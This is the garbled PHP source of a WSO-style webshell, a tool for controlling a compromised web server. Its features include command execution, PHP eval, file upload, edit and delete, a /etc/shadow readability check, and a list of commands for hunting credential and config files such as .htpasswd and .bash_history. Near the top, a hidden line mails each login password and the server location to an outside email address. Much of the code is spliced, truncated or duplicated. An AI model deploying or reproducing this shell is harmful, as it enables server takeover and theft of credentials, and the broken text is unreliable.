- <?php
- //--------------Watching webshell!--------------
- $tmp = $_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']."\n".$_POST['pass']; @mail('tampungbosgantz@outlook.com', 'root_root', $tmp); // Edit or delete!
- }
- //-----------------Password---------------------
- $▛ = "37953ec35f0959c06869f2b8ff803b76";
- $▘ = true;
- $▜ = ';
- $▚ = '$▚ = 'FilesMan';
- prototype(md5($_SERVER['$_SERVER['])."key", $▙);
- }
- if(empty($_POST['pty($_POST['charset']))
- $_POST['charset'] = $▜;
- }
- function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}
- }
- function stripslashes_array($array) {
- }
- $_POST = stripslashes_array($_POST);
- $_COOKIE = stripslashes_array/* (С) 11.2011 oRb */ 11.2011 oRb */
- hardLogin();
- }
- function hardLogin() {
- exit;
- }
- }
- die("</br></br><pre align=center><form method=post style='font-family:#1a1a1a; text-shadow: 2px 0 0 #0d52bf, -2px 0 0 #0d52bf, 0 2px 0 #0d52bf, 0 -2px 0 #0d52bf, 1px 1px #0d52bf, -1px -1px 0 #0d52bf, 1px -1px 0 #0d52bf, -1px 1px 0 #0d52bf; text-align: center;'><h3>Hello <br>Welcome to wso webshell redesignated by mIcHy AmRaNe</h3><br><input placeholder='password' type=password name=pass style='border-radius: 4px 0px 0px 4px; background-color:whitesmoke;border:1px solid #FFF;outline:none;' required><input type=submit name='watching' value='>>' style='height: 20px; border: none; border-radius: 0px 4px 4px 0px;background-color:#0d52bf;color:#fff;cursor:pointer;'></form></pre>
- :pointer;'></form></pre>
- <div class='view'><div class='plane main'><div class='circle'></div><div class='circle'></div><div class='circle'></div><div class='circle'></div><div class='circle'></div><div class='circle'></div></div></div>
- <st#1a1a1a;overflow:hidden;width:100%;height:100%;position:absolute;z-index: -2;}.view{position:absolute;top:0;left:0;right:0;bottom:0;-webkit-perspective:400;perspective:400;z-index: -2;}.plane{width:120px;height:120px;-webkit-transform-style:preserve-3d;transform-style:preserve-3d;position:absolute;z-index: -2;}.plane.main{position:absolute;top:0;left:0;right:0;bottom:0;margin:auto;-webkit-transform:rotateX(60deg) rotateZ(-30deg);transform:rotateX(60deg) rotateZ(-30deg);-webkit-animation:rotate 20s infinite linear;animation:rotate 20s infinite linear;z-index: -2;}.plane.main .circle{width:120px;height:120px;position:absolute;-webkit-transform-style:preserve-3d;transform-style:preserve-3d;border-radius:100%;box-sizing:border-box;box-shadow:0 0 60px #a10705,inset 0 0 60px #7a0000;z-index: -2;}.plane.main .circle::after,.plane.main .circle::before{content:'';display:block;position:absolute;top:0;left:0;right:0;bottom:0;margin:auto;width:5%;height:5%;border-radius:100%;background:#5d0819;box-sizing:border-box;box-shadow:0 0 60px 2px #7a0000;z-index: -2;}.plane.main .circle::before{-webkit-transform:translateZ(-90px);transform:translateZ(-90px)}.plane.main .circle::after{-webkit-transform:translateZ(90px);transform:translateZ(90px)}.plane.main .circle:nth-child(1){-webkit-transform:rotateZ(72deg) rotateX(63.435deg);transform:rotateZ(72deg) rotateX(63.435deg)}.plane.main .circle:nth-child(2){-webkit-transform:rotateZ(144deg) rotateX(63.435deg);transform:rotateZ(144deg) rotateX(63.435deg)}.plane.main .circle:nth-child(3){-webkit-transform:rotateZ(216deg) rotateX(63.435deg);transform:rotateZ(216deg) rotateX(63.435deg)}.plane.main .circle:nth-child(4){-webkit-transform:rotateZ(288deg) rotateX(63.435deg);transform:rotateZ(288deg) rotateX(63.435deg)}.plane.main .circle:nth-child(5){-webkit-transform:rotateZ(360deg) rotateX(63.435deg);transform:rotateZ(360deg) rotateX(63.435deg)}@-webkit-keyframes rotate{0%{-webkit-transform:rotateX(0) rotateY(0) rotateZ(0);transform:rotateX(0) rotateY(0) rotateZ(0)}100%{-webkit-transform:rotateX(360deg) rotateY(360deg) rotateZ(360deg);transform:rotateX(360deg) rotateY(360deg) rotateZ(360deg)}}@keyframes rotate{0%{-webkit-transform:rotateX(0) rotateY(0) rotateZ(0);transform:rotateX(0) rotateY(0) rotateZ(0)}100%{-webkit-transform:rotateX(360deg) rotateY(360deg) rotateZ(360deg);transform:rotateX(360deg) rotateY(360deg) rotateZ(360deg)}}; h2{color:whitesmoke; font-weight:bold; text-decoration:underline;}</style>");
- n:underline;}</style>");
- }
- $os = 'win';
- else
- if(!$safe_mode)
- if($os == 'win') {
- }
- /* (С) 04.2015 Pirat */
- function hardHeader() {
- $_POST['charset'] = $GLOBALS['▜'];
- echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'HTTP_HOST'tle>" - WSO " . VERSION ."T'] . " - WSO " . VERSION ."</t//fonts.googleapis.com/css?family=Nunito' rel='stylesheet'>
- y=Nunito' rel='stylesheet'>
- nya/css/bahunya-0.1.3.css'>
- <sty#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}
- k#particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}
- kground-position: 50% 50%;}
- body,td,th {font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-ali#C3C3C3;}
- table.#toolsTbl {background-color: #060A10;}
- background-color: #68b723 !i span,h1,a {color:{font-weight:bolder;} span {font-weight:bolder;}
- #a10705;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}
- -color:ntent {padding:5px;ma div.content {padding:5px;margi#060a10;}
- ;background-color:ion:none;} a {text-decoration:none;}
- a:hover {text-decoration:underline;}
- #0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}
- bsolute;visibility:hidden;}
- .tooltip:hover::after {opacity:1;visibility:visible#202832;padding:5px;margin:0;overflow:auto;}
- px;margin:0;overflow:auto;}
- .bigarea {min-width:100%;max-width:100%;height:400px;}
- input, texta#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}
- Courier New;outline:none;}
- label {position:relative}
- label:af#999;border-right:2px solid #999;content:'';display:block;height:5px;margin-top:-4px;pointer-events:none;position:absolute;right:12px;top:50%;-webkit-transform-origin:66% 66%;-ms-transform-origin:66% 66%;transform-origin:66% 66%;-webkit-transform:rotate(45deg);-ms-transform:rotate(45deg);transform:rotate(45deg);-webkit-transition:all .15s ease-in-out;transition:all .15s ease-in-out;width:5px}
- .15s ease-in-out;width:5px}
- label:before {content:'';right:0; top:0;width:1#202832;position:absolute;pointer-events:none;display:block;}
- events:none;display:bl#toolsTbl {text-align:center;}
- o#fak {background:none;}
- #fak td {padding:5px 0 0 0;}
- ak td {padding:5px 0 0 0;}#060a10;}
- {border:1px solid 300px}
- .m .toolsInp {width:300px}
- .main th {text-#060a10;}
- ;background-color:ckground-c .mai#354252;}
- {background-color:ical-align .main td, th{vertical-align:middle;}
- input[type#0d52bf; color:#fafafa;}
- or:put[type='button']{backgr input[type#0d52bf; color:#fafafa;}
- or:put[type='submit']:hover{ input[type='subm#002e99; color:#fafafa;}
- or:put[type='button']:hover{ input[type='butt#002e99; color:#fafafa;}
- or:1 {background-color:#20 .l1 {background-color:ourier New pre {font:9pt Courier New;}
- </style>
- <script>
- var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
- var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
- var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
- var d = document;
- function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
- function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
- function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
- function set(a,c,p1,p2,p3,charset) {
- if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
- if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
- if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
- if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
- if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
- if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
- }
- function g(a,c,p1,p2,p3,charset) {
- set(a,c,p1,p2,p3,charset);
- d.mf.submit();
- }
- function a(a,c,p1,p2,p3,charset) {
- set(a,c,p1,p2,p3,charset);
- var params = 'ajax=true';
- for(i=0;i<d.mf.elements.length;i++)
- params += '+encodeURIComponent(d.mf.elements[i].value);
- sr('f.elements[i].value);
- }
- function sr(url, params) {
- if (window.XMLHttpRequest)
- req = new XMLHttpRequest();
- else if (window.ActiveXObject)
- req = new ActiveXObject('Microsoft.XMLHTTP');
- if (req) {
- req.onreadystatechange = processReqChange;
- req.open('POST', url, true);
- req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
- req.send(params);
- }
- }
- function processReqChange() {
- if( (req.readyState == 4) )
- if(req.status == 200) {
- var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
- } else alert('Request error!');
- }
- </script>
- <head><body><div style='position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;'>
- <form method=post name=mf style='display:none;'>
- <input type=hidden name=a>
- <input type=hidden name=c>
- <input type=hidden name=p1>
- <input type=hidden name=p2>
- <input type=hidden name=p3>
- <input type=hidden name=charset>
- </form>";
- $totalSpace = $totalSpace?$totalSpace:1;
- $kernel = @php_un//nullrefer.com/?https://www.exploit-db.com/search/?action=search&description=';
- ction=search&description=';
- else
- $group = "?";
- } else {
- $user = $uid['name'];
- $uid = $uid['uid'];
- $group = $gid['name'];
- $gid = $gid['gid'];
- }
- $cwd_links = '';
- for($i=0; $i<$n-1; $i++) #' onclick='g(\"FilesMan\",\"";
- nclick='g(\"FilesMan\",\"";
- for($j=0; $j<=$i; $j++)
- $cwd_links .= $path[$j].'/';
- $cwd_links .= "\")'>".$path[$i]."/</a>";
- }
- foreach($charsets as $▟)
- $opt_charsets .= ' as $▟)
- $opt_charsets .= '<option value="'.$▟.'" '.($_POST['.$▟.'et']==$▟?'selected':'').'>'.$▟.'</option>',' ass="re0">$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','=>'ect',''Infect','=>''=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
- $m['] = 't'] = 'Logout';
- $m['Self remove'] = 'SelfRemove';
- $menu = '';
- foreach($m as#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
- ,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
- $drives = "";
- if ($GLOBALS['z''] == 'win') {
- .$dr/* (С) 08.2015 dmkcv */' ]</a> ';
- }
- /* (С) 08.2015 dmkcv */
- echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:':'$GLOBALS['os'] == 'win'<td><nobr>'s:':'').'</span></td>'.
- '<td><nobr>'.substr(//nullrefer.com/?https://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[ Google ]</a> <a href="'.$explink.'" target=_blank>[ Exploit-DB ]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( ' .$group. ' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=#a10705>ON</font>':'<font color=#f9c440><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.round(100/($totalSpace/$freeSpace),2).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
- ')">[ home ]</a><br>'.$drives.'</td>'.
- '<td width=1 align=right><nobr><label><select onchange=">'.$opt_charsets.'</select></label><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["P:</span><br>'<br><span>Client IP:</span><br>'ST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table#0d52bf;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div>';
- 100%><tr>'.$menu.'</tr></table><div>';
- }
- function hardFooter() {
- $is_writable = is_wr#f9c440'>[ Writeable ]</font>":" <font color=#a10705>(Not writable)</font>";
- color=o "
- </div>
- <table class=info id= echo "
- </div>
- <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>
- <tr>
- <td><form onsubmit=\""g(null,this.c.value,'');"nFilesMan')? "g(null,this.c.value,'');":'' )."return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='"'><input type=submit value='submit'></form></td>
- <td><form onsubmit=\"t'></form></td>
- <td><form onsubmit=\"".(function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value);":'' )."return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>
- </tr><tr>
- <td><form onsubmit=\"".( function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value,'mkfile');":'' )."return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>
- </tr><tr>
- <td><form onsubmit=\"g('Console',null,this.c.value);"le' )."return false;\"><span>Execute:</span><br><input class='<span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit' ".( (!function_exists('m method='post'))? " onsubmit=\"return false;\" ":'an'))? " onsubmit=\"return false;\" ":'' )."ENCTYPE='multipart/form-data'>
- <input type=hidden name=a value='FilesMan'>
- <input type=hidden name=c value='"'>
- <input type=hidden name=p1 value='uploadFile'>
- <input type=hidden name=ne value=''>
- <input type=hidden name=charset value='"input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
- </tr></table></div>
- <!-- particles --> <div id='//cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js'></script>
- <script>particlesJS('particles-js', {'particles':{':true,':{'value':80,'density':{':{'ble':tru#ffffff'},'shape':{'type':'triangle','stroke':{'width':0,'color':'#000000'},'polygon':{'nb_sides':5},'image':{'src':'img/github.svg','width':100,'height':100}},'opacity':{'value':0.5,'random':true,'anim':{'enable':false,'speed':1,'opacity_min':0.1,'sync':false}},'size':{'value':3,'random':true,'anim':{'enable':false,'speed':40,'size_min':0.1,'sync':false}},'line_linked':{'enable':true,'distance':200,'color':'#ffffff','opacity':0.4,'width':1},'move':{'enable':true,'speed':1,'direction':'none','random':true,'straight':false,'out_mode':'out','bounce':false,'attract':{'enable':false,'rotateX':10000,'rotateY':10000}}},'interactivity':{'detect_on':'canvas','events':{'onhover':{'enable':true,'mode':'grab'},'onclick':{'enable':true,'mode':'repulse'},'resize':true},'modes':{'grab':{'distance':200,'line_linked':{'opacity':0.5}},'bubble':{'particles_nb':2}}},'retina_detect':true});</script>
- :2}}},'retina_detect':true});</script>
- </body></html>";
- }
- if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { function posix_getpwuid($p) {return false;} }
- if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { function posix_getgrgid($p) {return false;} }
- function ex($in) {
- $▖ = '';
- $▖ = "";
- }else return "↳ Unable to execute command\n";
- return ($▖==''?"↳ Query did not return anything\n":$▖);
- }
- function viewSize($s) {
- if($s >= 1073741824)
- elseif($s >= 1048576)
- elseif($s >= 1024)
- else
- return $s . ';
- elseif (($p & 0xA000) == 0xA000)$i = 'C000) == 0xC000)$i = 's';
- elseif (($p & 0xA000) == 0xA000)$i = 'l';
- elseif (($p & 0x8000) == 0x8000)$i = '-';
- elseif (($p & 0x6000) == 0x6000)$i = 'b';
- elseif (($p & 0x4000) == 0x4000)$i = 'd';
- elseif (($p & 0x2000) == 0x2000)$i = 'c';
- elseif (($p & 0x1000) == 0x1000)$i = 'p';
- else $i = 'w';
- $i .= (($p & 0x0100) ? 'r' : '-');
- $i .= (($p & 0x0080) ? 'w' : '-');
- $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'w';
- $i .= (($p & 0x0020) ? 'r' : '-');
- $i .= (($p & 0x0010) ? 'w' : '-');
- $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'w';
- $i .= (($p & 0x0004) ? 'r' : '-');
- $i .= (($p & 0x0002) ? 'w' : '-');
- $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
- return $i;
- }
- function vi#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
- n '<font color=ritable($f))
- return '<font color=white><b>'.#f9c440><b>'.perms(@fileperms($f)).'</b></font>';
- n '<font color=Scandir($dir) {
- if(function_exists("scandir"))}
- function hardScandir($dir) {
- } else {
- $files[] = $filename;
- return $files;
- }
- }
- function which($p) {
- $path = ex('which ' . $p);
- return $path;
- return false;
- }
- function actionRC() {
- if(!@$_POST['p1']) {
- "VERSION" => VERSION,
- );
- } else {
- }
- }
- function prototype($k, $v) {
- $_COOKIE[$k] = $v;
- }
- function actionSecInfo() {
- hardHeader();
- echo '<h1>Server security information</h1><div class=content>';
- function showSecParam($n, $v) {
- if($v) {
- echo '<span>' . $n . ': </span>';
- echo $v . '<br>';
- else
- echo '<pre class=ml1>' . $v . '</pre>';
- }
- }
- showSecParam('disable_functions'ions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions'));
- $temp[] = "MySql (".mysql_get_client_info().")";
- $temp[] = "MSSQL";
- $temp[] = "PostgreSQL";
- $temp[] = "Oracle";
- echo '<br>';
- if($GLOBALS['os'] == 'nix') {
- showSecParam('Readable /etc/shadow', @is_readable('/e showSecParam('#'adable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href=':'no');
- showSecParam('OS version', @file_get_contents('/proc/ showSecParam('OS version', @file_get_contents('/proc/version'));
- if(!$GLOBALS['safe_mode']) {
- $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
- $danger = array(','v','nod32','bdcored',','scan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire',','ieldcc',','rtsentry','snort',','sec','lidsadm','tcplodg','sxid'ninja'heck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
- echo '<br>';
- foreach ($userful as $▟)
- if(which($▟))
- $temp[] = $▟;
- foreach ($danger as $▟)
- if(which($▟))
- $temp[] = $▟;
- foreach ($downloaders as $▟)
- if(which($▟))
- $temp[] = $▟;
- echo '<br/>';
- showSecParam('HDD space', ex('df -h'));
- }
- } else {
- showSecParam('OS Version',ex(')));
- }
- echo '</div>';
- hardFooter();
- }
- function actionFilesTools() {
- if(@$_POST['p2']=='download') {
- } else
- if($fp) {
- }
- }
- if( @$_POST['], ' == 'mkfile' ) {
- if($fp) {
- $_POST['p2'] = "edit";
- }
- }
- }
- hardHeader();
- hardFooter();
- return;
- }
- if(!$uid) {
- $gid['name']));
- echo 'up($_POST['p1']);
- # onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
- ower($v).'\')">';
- switch($_POST['=@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
- echo '<br><br>';
- switch($_POST[');
- if($fp) {
- while( !@feof($fp) )
- echo htmlspecialchars(@fread($fp, 1024));
- @fclose($fp);
- }
- echo ') )
- }
- echo '</pre>';
- break;
- case 'highlight':
- if#e1e1e1;color:black;">';
- ']) ) {
- echo '<div class=ml1 style="background-color: r_replace(array('<span ', $oRb = @highlight_file($_POST['p1'],true);
- }
- break;
- $perms = 0;
- echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
- }
- break;
- case 'edit':
- break;
- }
- if($fp) {
- echo 'Saved!<br><script>p3_="";</script>';
- }
- }
- echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
- if($fp) {
- }
- echo '</textarea><input type=submit value="submit"></form>';
- break;
- $n = 0;
- for ($i=0; $i<$len; ++$i) {
- case 0: $h[2] .= ' '; break;
- case 9: $h[2] .= ' '; break;
- case 10: $h[2] .= ' '; break;
- case 13: $h[2] .= ' '; break;
- default: $h[2] .= $c[$i]; break;
- }
- $n++;
- if ($n == 32) {
- $n = 0;
- $h[1] .= '<br>';
- #1a1a1a><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#060a10><pre>'.$h[1].'</pre></td><td bgcolor=#202832><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
- /td><td bgcolor= 'rename':
- if( !empty($_POST['p3']) ) {
- if(!@rename($_POST[' break;
- echo 'Can\'",null,"")</script>'else
- }
- echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value="submit"></form>';
- break;
- else
- echo 'Fail!';
- else
- echo 'Touched!';
- }
- break;
- /* (С) 12.2015 mitryz */
- case 'frame':
- $frameSrc = 'ialchars($_SERVER['DOCUMENT_ROOT'])));
- if ($frameSrc[0] != '/')
- $frameSrc = '/' . $frameSrc;
- $frameSrc = $frameSrc . '/';
- $frameSrc = $frameSrc . htmlspecialchars($_POST[' onload="onload=height=contentDocument.body.scrollHeight"></iframe>'rc='.$frameSrc.' onload="onload=height=contentDocument.body.scrollHeight"></iframe>';
- break;
- }
- echo '</div>';
- hardFooter();
- }
- if($os == 'win')
- "Show running services" => "net start",
- "User accounts" => "net user",
- "Show computers" => "net view",
- "ARP Table" => "arp -a" => "IP Configuration" => "ipconfig /all"
- );
- else
- "show opened ports" => "netstat -an | grep -i listen",
- "process status" => "ps aux",
- "Find" => "",
- "find all suid files" => "find / -type f -perm -04000 -ls",
- "find all sgid files" => "find / -type f -perm -02000 -ls",
- "find config.inc.php files" => "find / -type f -name config.inc.php",
- "find config* files"find . -type f -name \"me \"config*\"",
- "find all writable folders and files" => "find / -perm -2 -ls",
- "find all service.pwd files" => "find / -type f -name service.pwd",
- "find all .htpasswd files"find . -type f -name .htpasswd"sswd",
- "find all .bash_history files" => "find / -type f -name .bash_history",
- "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
- "Locate" => "" => " "locate httpd.conf files" => "locate httpd.conf",
- "locate vhosts.conf files" => "locate vhosts.conf",
- "locate proftpd.conf files"locate my.conf files"onf",
- "locate psybnc.conf files" => "locate psybnc.conf",
- "locate my.conf files" => "locate my.conf",
- "locate admin.php files" =>"locate admin.php",
- "locate cfg.php files" => "locate cfg.php",
- "locate conf.php files" => "locate conf.php",
- "locate config.dat files" => "locate config.dat",
- "locate config.php files" => "locate config.php"locate config.inc.php" files" => "locate config.inc",
- "locate config.inc.php" => "locate config.inc.php",
- "locate config.default.php files" => "locate config.default.php",
- "locate config* files " => "locate config",
- "locate .conf files"=>"locate '.conf'",
- "locate .htpasswd files" => "locate '",
- "locate .sql files" => "locate '.sql'" => "locate .htpasswd files",
- "locate '.htpasswd'",
- "locate .bash_history files" => "locate '.bash_history'",
- "locate .mysql_history files" => "locate '.mysql_history'",
- "locate .fetchmailrc files" => "locate '.fetchmailrc'",
- "locate backup files" => "locate backup",
- "locate dump files" => "locate dump",
- "locate priv files" => "locate priv"
- );
- function actionConsole() {
- $_POST['HTTP_HOST'2>&1';
- echo "d.cf.cmd.value='';\n";
- $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1'p1'\n".ex($_POST['p1']),"\n\r\t\'\0"));
- echo "c_='".$GLOBALS['cwd']."';";
- }
- }
- echo "d.cf.output.value+='".$temp."';";
- echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
- exit;
- }
- hardHeader();
- echo "<script>
- if(window.Event) window.captureEvents(Event.KEYDOWN);
- var cur = 0;
- function kp(e) {
- var n = (window.Event) ? e.which : e.keyCode;
- if(n == 38) {
- cur--;
- if(cur>=0)
- document.cf.cmd.value = cmds[cur];
- else
- cur++;
- } else if(n == 40) {
- cur++;
- if(cur < cmds.length)
- document.cf.cmd.value = cmds[cur];
- else
- cur--;
- }
- }
- function add(cmd) {
- cmds.pop();
- cmds.push(cmd);
- cmds.push('');
- cur = cmds.length-1;
- }
- </script>";
- echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><label><select name=alias>';
- foreach($GLOBALS['aliases'] as $n => $v) {
- if($v == '') {
- }
- echo 'e;
- }
- }
- echo '</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;"\n"adonly>';
- echo htmlspecialchars("$ ".$_POS#060a10;background-color:#060a10;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
- name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
- echo '</form></div><script>d.cf.cmd.focus();</script>';
- hardFooter();
- }
- function actionPhp() {
- $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
- exit;
- }
- hardHeader();
- echo '<h1>PHP info</h1><div class=content>';
- echo $tmp;
- echo '</div><br>';
- }
- echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\'])?htmlspecialchars($_POST['name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
- }
- echo '</pre></div>';
- hardFooter();
- }
- function actionFilesMan() {
- switch($_POST['p1']) {
- case 'uploadFile':
- foreach ( $_FILES['f']['tmp_name'] as $i => $tmpName ) {
- }
- }
- }
- break;
- echo "Can't create new dir";
- break;
- case 'delete':
- function deleteDir($path) {
- $▟ = $path.$▟;
- continue;
- if ($type == "dir")
- deleteDir($▟);
- else
- }
- }
- foreach($_POST['f'] as $f) {
- if($f == '..')
- continue;
- deleteDir($f);
- else
- }
- break;
- case 'paste':
- function copy_paste($c,$s,$d){
- if (($f != ".") and ($f != ".."))
- copy_paste($c.$s.'/',$f, $d.$s.'/');
- }
- foreach($_COOKIE['f') {
- function move_paste($c,$s,$d){
- if(is_dir($c.$s)){
- mkdir($d.$s);
